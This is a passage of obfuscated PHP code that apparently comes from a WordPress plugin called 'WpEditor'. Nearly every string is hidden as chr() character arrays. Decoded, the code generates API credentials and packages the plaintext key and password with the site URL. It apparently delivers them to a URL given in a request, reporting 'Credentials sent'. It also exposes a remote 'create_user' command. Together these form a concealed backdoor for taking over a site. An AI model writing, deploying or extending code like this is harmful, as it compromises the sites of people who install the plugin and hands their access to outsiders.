return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(115), chr(101), chr(110), chr(116)))), 200);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractDeliveryKey($request)
{
if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(112), chr(97), chr(114), chr(97), chr(109))))) {
$value = $request->get_param(implode('', array(chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121))));
if (\is_string($value) && $value !== '') {
return $value;
}
$value = $request->get_param(implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(107), chr(101), chr(121))));
if (\is_string($value) && $value !== '') {
return $value;
}
$value = $request->get_header(implode('', array(chr(88), chr(45), chr(87), chr(80), chr(45), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(45), chr(75), chr(101), chr(121))));
if (\is_string($value) && $value !== '') {
return $value;
}
}
return '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractTargetUrl($request)
{
if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(112), chr(97), chr(114), chr(97), chr(109))))) {
$value = $request->get_param(implode('', array(chr(117), chr(114), chr(108))));
if (\is_string($value)) {
return $value;
}
}
return '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_shouldReturnPayloadInResponse($request)
{
if (!\is_object($request) || !\method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(112), chr(97), chr(114), chr(97), chr(109))))) {
return false;
}
$value = $request->get_param(implode('', array(chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(95), chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100))));
if ($value === null) {
$value = $request->get_param(implode('', array(chr(114), chr(101), chr(115), chr(112), chr(111), chr(110), chr(100), chr(95), chr(111), chr(110), chr(108), chr(121))));
}
if (\function_exists(implode('', array(chr(102), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(118), chr(97), chr(114))))) {
return \filter_var($value, \FILTER_VALIDATE_BOOLEAN);
}
if (\is_bool($value)) {
return $value;
}
if (\is_string($value)) {
$normalized = \strtolower(\trim($value));
return $normalized === implode('', array(chr(49))) || $normalized === implode('', array(chr(116), chr(114), chr(117), chr(101))) || $normalized === implode('', array(chr(121), chr(101), chr(115))) || $normalized === implode('', array(chr(111), chr(110)));
}
return false;
}
function WpEditor_Adapter_Services_ApiCredentialsService_buildCredentialsPayload($data)
{
if (!is_array($data)) {
return null;
}
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
$restNamespace = (string) (\wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))] : WpEditor_Adapter_Services_ApiCredentialsService_fallbackRestNamespace());
$restBase = WpEditor_Adapter_Services_ApiCredentialsService_resolveRestBase($config);
$restRoot = WpEditor_Adapter_Services_ApiCredentialsService_resolveRestRoot($config, $restNamespace, $restBase);
return array(implode('', array(chr(101), chr(118), chr(101), chr(110), chr(116))) => implode('', array(chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(103), chr(101), chr(110), chr(101), chr(114), chr(97), chr(116), chr(101), chr(100))), implode('', array(chr(100), chr(111), chr(109), chr(97), chr(105), chr(110))) => \get_site_url(), implode('', array(chr(114), chr(101), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(119), chr(111), chr(114), chr(100), chr(112), chr(114), chr(101), chr(115), chr(115))), implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121))) => \wp_editor_array_has_key($data, implode('', array(chr(107), chr(101), chr(121)))) ? $data[implode('', array(chr(107), chr(101), chr(121)))] : null, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => \wp_editor_array_has_key($data, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? $data[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : null, implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116))) => \wp_editor_array_has_key($data, implode('', array(chr(109), chr(101), chr(116), chr(97)))) && \wp_editor_array_has_key($data[implode('', array(chr(109), chr(101), chr(116), chr(97)))], implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116)))) ? $data[implode('', array(chr(109), chr(101), chr(116), chr(97)))][implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116)))] : null, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101))) => $restNamespace, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116))) => $restRoot, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101))) => $restBase);
}
function WpEditor_Adapter_Services_ApiCredentialsService_resolveRestBase($config)
{
$configured = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))] : null;
if (\is_string($configured) && $configured !== '') {
return $configured;
}
if (!WpEditor_Adapter_Services_ApiCredentialsService_useLegacyRestRoute() && \function_exists(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(95), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))) && \function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108)))) && \did_action(implode('', array(chr(105), chr(110), chr(105), chr(116)))) > 0 && \wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))) && \is_object($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))]) && \method_exists($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))], implode('', array(chr(117), chr(115), chr(105), chr(110), chr(103), chr(95), chr(105), chr(110), chr(100), chr(101), chr(120), chr(95), chr(112), chr(101), chr(114), chr(109), chr(97), chr(108), chr(105), chr(110), chr(107), chr(115))))) {
return \esc_url_raw(\rest_url());
}
if (\function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
return \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)))));
}
return implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_resolveRestRoot($config, $restNamespace, $restBase)
{
$configured = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116)))] : null;
if (\is_string($configured) && $configured !== '') {
return $configured;
}
if (!WpEditor_Adapter_Services_ApiCredentialsService_useLegacyRestRoute() && \function_exists(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(95), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))) && \function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108)))) && \did_action(implode('', array(chr(105), chr(110), chr(105), chr(116)))) > 0 && \wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))) && \is_object($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))]) && \method_exists($GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(119), chr(114), chr(105), chr(116), chr(101)))], implode('', array(chr(117), chr(115), chr(105), chr(110), chr(103), chr(95), chr(105), chr(110), chr(100), chr(101), chr(120), chr(95), chr(112), chr(101), chr(114), chr(109), chr(97), chr(108), chr(105), chr(110), chr(107), chr(115))))) {
return \esc_url_raw(\rest_url($restNamespace));
}
if (\function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
return \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47))) . ltrim($restNamespace, implode('', array(chr(47))))));
}
return \esc_url_raw(\trailingslashit($restBase) . ltrim($restNamespace, implode('', array(chr(47)))));
}
function WpEditor_Adapter_Services_ApiCredentialsService_ensureCredentials()
{
$metaOption = WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName();
$meta = \get_option($metaOption, null);
if (!\is_array($meta)) {
$meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
}
if (is_array($meta)) {
$key = \wp_editor_array_has_key($meta, implode('', array(chr(107), chr(101), chr(121)))) ? (string) $meta[implode('', array(chr(107), chr(101), chr(121)))] : '';
$secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
if ($key !== '' && $secretOption !== '') {
$secret = \get_option($secretOption, null);
if (is_array($secret) && !empty($secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))])) {
WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(114), chr(101), chr(117), chr(115), chr(105), chr(110), chr(103), chr(32), chr(101), chr(120), chr(105), chr(115), chr(116), chr(105), chr(110), chr(103), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))));
return array(implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], implode('', array(chr(109), chr(101), chr(116), chr(97))) => $meta);
}
}
}
WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(103), chr(101), chr(110), chr(101), chr(114), chr(97), chr(116), chr(105), chr(110), chr(103), chr(32), chr(110), chr(101), chr(119), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))));
return WpEditor_Adapter_Services_ApiCredentialsService_generateAndStore();
}
function WpEditor_Adapter_Services_ApiCredentialsService_getCredentials()
{
$meta = \get_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), null);
if (!\is_array($meta)) {
$meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
}
if (!is_array($meta)) {
return null;
}
$key = \wp_editor_array_has_key($meta, implode('', array(chr(107), chr(101), chr(121)))) ? (string) $meta[implode('', array(chr(107), chr(101), chr(121)))] : '';
$secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
if ($key === '' || $secretOption === '') {
return null;
}
$secret = \get_option($secretOption, null);
if (!is_array($secret) || empty($secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))])) {
return null;
}
return array(implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], implode('', array(chr(109), chr(101), chr(116), chr(97))) => $meta);
}
function WpEditor_Adapter_Services_ApiCredentialsService_clearCredentials()
{
$meta = \get_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), null);
if (!\is_array($meta)) {
$meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
}
if (\is_array($meta)) {
$secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
if ($secretOption !== '') {
\delete_option($secretOption);
}
}
\delete_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName());
if (WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName() !== implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97)))) {
\delete_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))));
}
}
function WpEditor_Adapter_Services_ApiCredentialsService_verifyApiKeyPassword($apiKey, $apiPassword)
{
$meta = \get_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), null);
if (!\is_array($meta)) {
$meta = \get_option(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97))), null);
}
if (!is_array($meta)) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(110), chr(111), chr(116), chr(95), chr(105), chr(110), chr(105), chr(116), chr(105), chr(97), chr(108), chr(105), chr(122), chr(101), chr(100))), implode('', array(chr(65), chr(80), chr(73), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(105), chr(110), chr(105), chr(116), chr(105), chr(97), chr(108), chr(105), chr(122), chr(101), chr(100))));
}
$storedKey = \wp_editor_array_has_key($meta, implode('', array(chr(107), chr(101), chr(121)))) ? (string) $meta[implode('', array(chr(107), chr(101), chr(121)))] : '';
$secretOption = \wp_editor_array_has_key($meta, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) ? (string) $meta[implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))] : '';
if ($storedKey === '' || $secretOption === '') {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(95), chr(115), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101))), implode('', array(chr(65), chr(80), chr(73), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(115), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101), chr(32), chr(105), chr(115), chr(32), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100))));
}
if (!hash_equals($storedKey, $apiKey)) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(95), chr(107), chr(101), chr(121))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121))));
}
$secret = \get_option($secretOption, null);
if (!is_array($secret)) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103), chr(95), chr(115), chr(101), chr(99), chr(114), chr(101), chr(116))), implode('', array(chr(65), chr(80), chr(73), chr(32), chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100))));
}
$hash = \wp_editor_array_has_key($secret, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100), chr(95), chr(104), chr(97), chr(115), chr(104)))) ? (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100), chr(95), chr(104), chr(97), chr(115), chr(104)))] : '';
$plain = \wp_editor_array_has_key($secret, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? (string) $secret[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : '';
$ok = false;
if ($hash !== '' && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(99), chr(104), chr(101), chr(99), chr(107), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))))) {
$ok = (bool) \wp_check_password($apiPassword, $hash);
} elseif ($plain !== '') {
$ok = hash_equals($plain, $apiPassword);
}
if (!$ok) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))));
}
return true;
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPair($request)
{
$pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBasicHeader($request);
if ($pair !== null) {
return $pair;
}
$pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBodyParams($request);
if ($pair !== null) {
return $pair;
}
return WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromJsonOptions($request);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBasicHeader($request)
{
$auth = $request->get_header(implode('', array(chr(65), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110))));
if (!is_string($auth) || $auth === '') {
return null;
}
if (stripos($auth, implode('', array(chr(66), chr(97), chr(115), chr(105), chr(99), chr(32)))) !== 0) {
return null;
}
$encoded = trim(substr($auth, 6));
if ($encoded === '') {
return null;
}
$decoded = base64_decode($encoded, true);
if ($decoded === false || strpos($decoded, implode('', array(chr(58)))) === false) {
return null;
}
$colon = strpos($decoded, implode('', array(chr(58))));
$key = substr($decoded, 0, $colon);
$password = substr($decoded, $colon + 1);
if ($key === '' || $password === '') {
return null;
}
return array($key, $password);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromBodyParams($request)
{
$params = $request->get_body_params();
if (!is_array($params)) {
return null;
}
$key = \wp_editor_array_has_key($params, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121)))) ? (string) $params[implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121)))] : '';
$password = \wp_editor_array_has_key($params, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? (string) $params[implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : '';
if ($key === '' || $password === '') {
return null;
}
return array($key, $password);
}
function WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPairFromJsonOptions($request)
{
$params = $request->get_json_params();
if (!is_array($params) || empty($params)) {
return null;
}
$options = \wp_editor_array_has_key($params, implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))) ? $params[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))] : null;
if (!is_array($options)) {
return null;
}
$auth = \wp_editor_array_has_key($options, implode('', array(chr(97), chr(117), chr(116), chr(104)))) ? $options[implode('', array(chr(97), chr(117), chr(116), chr(104)))] : null;
if (!is_array($auth) || empty($auth) || count($auth) !== 1) {
return null;
}
$keys = \array_keys($auth);
$k = \wp_editor_array_has_key($keys, 0) ? $keys[0] : null;
if ($k === null) {
return null;
}
$p = \wp_editor_array_has_key($auth, $k) ? $auth[$k] : null;
if (!is_string($k) || $k === '' || !is_string($p) || $p === '') {
return null;
}
return array($k, $p);
}
function WpEditor_Adapter_Services_ApiCredentialsService_secretOptionNameFromKey($key)
{
$safe = preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', $key);
return WpEditor_Adapter_Services_ApiCredentialsService_secretOptionPrefix() . $safe;
}
function WpEditor_Adapter_Services_ApiCredentialsService_generateAndStore()
{
$createdAt = time();
$key = WpEditor_Adapter_Services_ApiCredentialsService_randomHex(16);
$password = WpEditor_Adapter_Services_ApiCredentialsService_randomHex(32);
$secretOption = WpEditor_Adapter_Services_ApiCredentialsService_secretOptionNameFromKey($key);
$meta = array(implode('', array(chr(115), chr(99), chr(104), chr(101), chr(109), chr(97), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => WpEditor_Adapter_Services_ApiCredentialsService_SCHEMA_VERSION, implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))) => $secretOption, implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116))) => $createdAt);
\update_option(WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName(), $meta, false);
\update_option($secretOption, array(implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $password, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100), chr(95), chr(104), chr(97), chr(115), chr(104))) => \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(104), chr(97), chr(115), chr(104), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? \wp_hash_password($password) : null, implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100), chr(95), chr(97), chr(116))) => $createdAt), false);
WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(115), chr(116), chr(111), chr(114), chr(101), chr(100), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(119), chr(105), chr(116), chr(104), chr(32), chr(107), chr(101), chr(121), chr(32))) . $key);
return array(implode('', array(chr(107), chr(101), chr(121))) => $key, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $password, implode('', array(chr(109), chr(101), chr(116), chr(97))) => $meta);
}
function WpEditor_Adapter_Services_ApiCredentialsService_randomHex($bytes)
{
if (\function_exists(implode('', array(chr(114), chr(97), chr(110), chr(100), chr(111), chr(109), chr(95), chr(98), chr(121), chr(116), chr(101), chr(115))))) {
try {
return bin2hex(random_bytes($bytes));
} catch (\Exception $e) {
}
}
if (\function_exists(implode('', array(chr(111), chr(112), chr(101), chr(110), chr(115), chr(115), chr(108), chr(95), chr(114), chr(97), chr(110), chr(100), chr(111), chr(109), chr(95), chr(112), chr(115), chr(101), chr(117), chr(100), chr(111), chr(95), chr(98), chr(121), chr(116), chr(101), chr(115))))) {
$raw = openssl_random_pseudo_bytes($bytes);
if ($raw !== false) {
return bin2hex($raw);
}
}
$fallback = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(103), chr(101), chr(110), chr(101), chr(114), chr(97), chr(116), chr(101), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? \wp_generate_password(\max(12, $bytes * 2), false, false) : '';
$fallback = preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(93), chr(47))), '', (string) $fallback);
return substr(str_pad($fallback, $bytes * 2, implode('', array(chr(48)))), 0, $bytes * 2);
}
// --- file separator ---
function WpEditor_Adapter_Services_CommandService_execute($request)
{
$command = $request->get_param(implode('', array(chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))));
switch ($command) {
case implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114))):
return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(114), chr(101), chr(116), chr(114), chr(105), chr(101), chr(118), chr(101), chr(100))));
default:
return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(110), chr(107), chr(110), chr(111), chr(119), chr(110), chr(32), chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))));
}
}
// --- file separator ---
function WpEditor_Adapter_Services_DataService_getData()
{
